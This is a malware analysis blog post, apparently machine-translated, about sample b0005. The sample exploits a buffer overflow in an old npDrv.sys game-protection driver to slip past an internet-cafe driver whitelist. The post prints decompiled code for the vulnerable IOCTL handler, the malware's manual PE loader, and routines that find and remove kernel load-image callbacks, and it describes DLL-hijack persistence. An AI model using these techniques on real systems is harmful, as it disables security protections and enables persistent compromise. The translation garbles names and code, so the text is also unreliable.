In the past two days, a friend of an internet cafe asked for help from hanhaiyuan, saying that most of their Internet cafes were installed with wangwei masters and many Trojans had been penetrated, causing some losses. Based on the analysis over the past few days, we will find out the attack/bypass principles and share them with you.
Malicious sample b0005 is a program that initiates attacks against Internet cafes. Currently, most of the protection software in Internet cafes is webvertiser. Master networth has functions such as updating the game and restarting and restoring the game. Because the netvertiser protects the driver through the whitelist, the driver in the whitelist is allowed to be loaded. However, a third-party whitelist driver has a vulnerability, which will cause the driver firewall of netver.com to be bypassed, making the Internet cafe system no longer secure.
I. Implementation principle of firewall driven by netverbs
The implementation of the driver firewall of netwei is not implemented on NtLoadDriver or even the lower-layer function IopLoadDriver, but through the kernel function PsSetLoadImageNotifyRoutine installation module load callback. In the whitelist, the implementation is permitted. Otherwise, modify the kernel entry code and return it directly. The structure of the whitelist is:
+ 0 nCounts // White List drive data + 4 fileSize_0 // White List drive 0 + 0x14 fileMd5_0 + 0x18 fileSize_1 + 0x28 fileMd5_1
And so on. The number of drivers in the entire whitelist is 0 × 4e0. The specific implementation is as follows:
Int _ stdcall dump_CompareMd5ArrayAndPatchPEEntryPoint (stUnicodeString * puniImageName, int ProcessId, stImageInfo * pstImageInfo) {int result; // eax @ 1int v4; // edx @ 2 _ int16 v5; // di @ 2int v6; // eax @ 2int v8; // eax @ 7int v9; // esi @ 8 unsigned int v10; // esi @ 22int v11; // eax @ 22int v12; // edx @ 22int v13; // ecx @ 22int v14; // esi @ 26int v15; // eax @ 26int v16; // edx @ 26int v17; // eax @ 28int v18; // edx @ 28int v19; // [sp + Ch] [bp-20h] @ 1 unsigned int iNum; // [sp + 10 h] [bp-1Ch] @ 8 char irql; // [sp + 16 h] [bp-16h] @ 7 char bNonInMd5List; // [sp + 17 h] [bp-15h] @ 2stMd5CalcResult md5Result; // [sp + 18 h] [bp-14h] @ 1 unsigned int v24; // [sp + 28 h] [bp-4h] @ 1int v25; // [sp + 2Ch] [bp + 0 h] @ 1v24 = (unsigned int) & v25 ^ (unsigned int) off_8220121C; v19 = 0; result = 0; md5Result. md5_part1 = 0; md5Result. md5_part2 = 0; md5Result. md5 _ Part3 = 0; md5Result. md5_part4 = 0; if (! (Dword_822012A4 & 1) return result; bNonInMd5List = 1; v5 = dump_CompareBinData (int) & v24, puniImageName, pstImageInfo-> ImageBase); v6 = 0 xFFFFu; if (0 xFFFFu = v5) {v6 = dump_calcBinMd5 (puniImageName, & md5Result); // calculate md5v19 = v6; if (! V6) {bNonInMd5List = 1; v5 = 1; goto LABEL_22;} irql = g_KfAcquireSpinLock (v6, v4, 0x82201290u); v8 = dword_822012AC; if (callback) {iNum = 0; v9 = dword_822012AC + 5; if (* (_ DWORD *) (dword_822012AC + 1) {do {if (v19 = * (_ DWORD *) v9) // compare the file size {v8 = g_RtlCompareMemory (v9 + 4, & md5Result, 0x10u); // compare the md5 value with if (v8 = 0x10) {bNonInMd5List = 0; v5 = 0; break;} v8 = dword_822012AC;} v9 + = 0x14u; // The length of each item is 0x. 14 + + iNum;} while (iNum <* (_ DWORD *) (v8 + 1) ;}} LOBYTE (v4) = irql; v6 = g_KfReleaseSpinLock (v8, v4, 0x82201290u); if (bNonInMd5List! = 1 |! (Dword_822012A4 & 2) goto LABEL_22; v6 = sub_821F8E56 (puniImageName); if (v6 & v6! = 1) {v5 = 0; goto LABEL_22;} v5 = 1;} else {bNonInMd5List = 1; // if (v5! = 4) goto LABEL_22; v5 = 2;} bNonInMd5List = 0; LABEL_22: v10 = 0; v11 = g_KfAcquireSpinLock (v6, v4, 0x82201290u); v13 = locked; while (v13) {v13 = * (_ DWORD *) v13; ++ v10;} LOBYTE (v12) = v11; result = g_KfReleaseSpinLock (v11, v12, 0x82201290u ); if (v10 length + 48, 'blst'); (void (_ cdecl *) (int, _ DWORD, int) dump_memset) (v14, 0, puniImageName-> length + 48); * (_ DWORD *) (v14 + 4) = puniImageName-> length + 0x30; * (_ BYTE *) (v14 + = BNonInMd5List; * (_ WORD *) (v14 + 10) = v5; * (_ BYTE *) (v14 + 9) = 0; g_memmove (v14 + 44, puniImageName-> buf, puniImageName-> length + 2); * (_ WORD *) (v14 + 2 * (unsigned int) puniImageName-> length> 1) + 44) = 0; g_KeQuerySystemTime (v14 + 0x24); * (_ DWORD *) (v14 + 12) = v19; v15 = g_memmove (v14 + 16, & md5Result, 16 ); if (dword_822012A4 & 4) v15 = sub_821F8A3C (char) puniImageName, (int) puniImageName, (char *) (v14 + 12), 0, v14 + 32 ); v17 = g_KfAcquireSpinLock (v15, v16, 0x82201290u); * (_ DWORD *) v14 = bytes; LOBYTE (v18) = v17; bytes = v14; result = g_KfReleaseSpinLock (v17, v18, 0x82201290u);} if (bNonInMd5List) // if not in the whitelist table, change the driver entry point to 0xc3, that is, retresult = dump_PatchDriverEntryPoint (pstImageInfo-> ImageBase); return result ;}
Ii. Driving Analysis of security issues in the whitelist
The driver whitelist of netverbs is mostly game protection drivers. Many game protection drivers have security problems. Sample b0005 uses an old npDrv. sys driver of nPotect. The detailed information of this file is as follows:
When the npDrv driver processes the data with the control code 0 × 220324 passed in by the user, it does not make a judgment on the length of the data transmitted by the user, resulting in kernel buffer overflow. The error code is as follows:
Signed int _ stdcall np_DeviceControl (PDEVICE_OBJECT a1, pira2) {// some variable declarations omit v33 = 0; pIrlLocal = a2; memset (& v34, 0, 0x24u ); v35 = 0; pIoStackLocation_local = (PIO_STACK_LOCATION) a2-> Tail. overlay. currentStackLocation; v4 = 2228712; v36 = 0; a2 = (PIRP) pIoStackLocation_local; v5 = (unsigned int) pIoStackLocation_local-> Parameters. deviceControl. argument3; // obtain ioctlcodeif (v5> 0x2201E8) {if (v5> 0x2203F4) {V30 = v5-0x2203F8; if (! V30) // 0x2203f8 {sub_11AF8 (a1, pIrlLocal); return v36;} v31 = v30-6; if (! V31) // 0x2203FE {sub_11B62 (a1, pIrlLocal); return v36;} if (v31 = 4) // 0x220402 {sub_11B87 (a1, pIrlLocal ); return v36;} return 0xC000000Du;} if (v5 = 0x2203F4) // 0x2203f4 {sub_11B68 (a1, pIrlLocal); return v36;} v23 = v5-2228748; if (! V23) // 0x22020C {dword_1461C = * (_ DWORD *) pIrlLocal-> AssociatedIrp. MasterIrp; return v36;} v24 = v23-0x118; if (! V24) // 0x220324return np_XXX (pIrlLocal, pIoStackLocation_local); // The control code processing function v25 = v24-160; if (v25) {if (v25 = 46) {v26 = pIrlLocal-> MdlAddress; a1 = (PDEVICE_OBJECT) 1026; if (v26-> MdlFlags & 5) v12 = v26-> MappedSystemVa; elsev12 = MmMapLockedPages (v26, 0 ); v17 = pIoStackLocation_local-> Parameters. deviceControl. argument1; v16 = & a1; goto LABEL_55;} return 0xC000000Du;} // some pseudocodes omit return v36 ;}
Continue with the np_XXX function, as shown below:
Unsigned int _ stdcall np_XXX (pirpirp_param, PIO_STACK_LOCATION pIoStackLocation_param) {unsigned int v2; // ebx @ 1int v4; // [sp + Ch] [bp-8h] @ 1 HANDLE Handle; // [sp + 10 h] [bp-4h] @ 1v4 = 0; v2 = 0; Handle = 0; memcpy (& v4, pIrp_param-> AssociatedIrp. masterIrp, (unsigned int) pIoStackLocation_param-> Parameters. deviceControl. argument2); // when copying data, the length of the data transmitted by the user is not checked and copied directly to v4, resulting in kernel buffer overflow and overwriting the returned value. If (v4 = 1) ObReferenceObjectByHandle (Handle, 0, 0, 1, & Object, 0); elsev2 = 0xC0000001u; return v2 ;}
Iii. Analysis of samples bypassing the net_drive Firewall
The tmd shell is added to the sample b0005, and key functions are analyzed. The samples first load the driver npDrv with security vulnerabilities through the service. sys: sends 0x220324 to the kernel through DeviceIoControl. After the overflow is triggered, the eip points to a function address in the user space, and the function code is deformed, the main function of this function is to implement the pe loading process. Since irql runs on a 0-ring environment, the kernel driver is loaded with a restored netdimension.
1) Implement the pe load process by yourself. The specific process is as follows:
int __cdecl b005_Pe_load(IMAGE_DOS_HEADER *pDosHeaders, int (__stdcall *g_addr_0x402990)(DWORD *, DWORD, PIMAGE_SECTION_HEADER, unsigned int, _DWORD), int g_addr_0x4028b0){int result; // eax@4unsigned int sectionCounts; // [sp+0h] [bp-14h]@5struct _IMAGE_SECTION_HEADER *pSectionHeaderStart; // [sp+4h] [bp-10h]@5int ImageBase_or_pBufAddr; // [sp+8h] [bp-Ch]@5unsigned int i; // [sp+Ch] [bp-8h]@9PIMAGE_NT_HEADERS pNTHeaders; // [sp+10h] [bp-4h]@1pNTHeaders = b005_GetPImagePeHeaders(pDosHeaders);if ( pNTHeaders && g_addr_0x402990 && g_addr_0x4028b0 ){ImageBase_or_pBufAddr = pNTHeaders->OptionalHeader.ImageBase;sectionCounts = (unsigned __int16)b005_GetPeNumberOfSections(pDosHeaders);pSectionHeaderStart = b005_GetPImageSectionHeader(pDosHeaders);if ( (unsigned __int8)g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr,pNTHeaders->OptionalHeader.SizeOfImage,pSectionHeaderStart,sectionCounts,0) ){if ( ImageBase_or_pBufAddr ){b005_copy_binData(ImageBase_or_pBufAddr, pDosHeaders, pNTHeaders->OptionalHeader.SizeOfHeaders);for ( i = 0; i < sectionCounts; ++i )b005_copy_binData(pSectionHeaderStart[i].VirtualAddress + ImageBase_or_pBufAddr,(IMAGE_DOS_HEADER *)((char *)pDosHeaders + pSectionHeaderStart[i].PointerToRawData),pSectionHeaderStart[i].SizeOfRawData);b005_Fixup_BaseReloc_back((struct _IMAGE_DOS_HEADER *)ImageBase_or_pBufAddr);if ( !b005_Fixup_ImportTable((PIMAGE_DOS_HEADER)ImageBase_or_pBufAddr,(int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))g_addr_0x4028b0) ){g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr, 0, pSectionHeaderStart, sectionCounts, 1);ImageBase_or_pBufAddr = 0;}result = ImageBase_or_pBufAddr;}else{result = 0;}}else{result = 0;}}else{result = 0;}return result;}
2) disable the driver firewall by removing the callback
This sample variant uses the callback process for removing the LoageImageNotifyRoutine kernel. The implementation is as follows,
# Pragma pack (1) typedef struct _ EX_FAST_REF {union {PVOID Object; ULONG_PTR RefCnt: 3; ULONG_PTR Value ;};} EX_FAST_REF, * struct; typedef struct _ struct {inclurundownprotect; PEX_CALLBACK_FUNCTION Function; PVOID Context;} EX_CALLBACK_ROUTINE_BLOCK, * callback; # pragma pack () // PspLoadImageNotifyRoutine array size # define limit 8 // system PspLoadImageN OtifyRoutine variable location PULONG outcome = NULL; // search for the starting address of the PspLoadImageNotifyRoutine Array Based on the signature PULONG FindPspLoadImageNotifyRoutine (PUCHAR FuncBase) {ULONG nIndex; PULONG result = NULL; // search for ingfor (nIndex = 0; nIndex <512; ++ nIndex) {// compare the header (here 0x56 and 0xbe are signatures) if (* (UCHAR *) funcBase = 0x56) & (* (UCHAR *) (FuncBase + 1) = 0xbe )) // search for the signature {// Save the address and return result = * (PULONG) (FuncBase + 2); break;} // follow Resume traversal + + FuncBase;} return result;} // callback function VOID RemoveLoadImageCallBack () {PEX_FAST_REF ExRef; ULONG nIndex; NTSTATUS status; ExRef = (PEX_FAST_REF) (g_PspLoadImageNotifyRoutine); for (nIndex = 0; nIndex Value &~ 7); // For details, see WRKif (MmIsAddressValid (PVOID) Point) {// remove the registered callback Function status = PsRemoveLoadImageNotifyRoutine (Point-> Function ); // remove the callback process if (NT_SUCCESS (status) {KdPrint ("remove LoadImage failed y success: % d. \ n ", nIndex) ;}++ ExRef ;}}
After the removal, the net dimension master no longer blocks the driver loading.
Iv. Restoration of sample b0005
The sample b0005 is restored, loaded with the restored robot dog driver, and replaced with lpk through dll hijacking. dll is similar to fake_lpk.dll. After the computer in the internet cafe is restarted, the computer in the internet cafe can run again to stay on the computer in the Internet cafe.
5. What else
Nothing. By the way, join hanhaiyuan and grow with us to do some challenging and interesting things with us.
-EOF
By bingle of code audit labs of vulnhunt.com
Url: http://blog.vulnhunt.com/index.php/2013/12/18/bypass_icafee_analysis/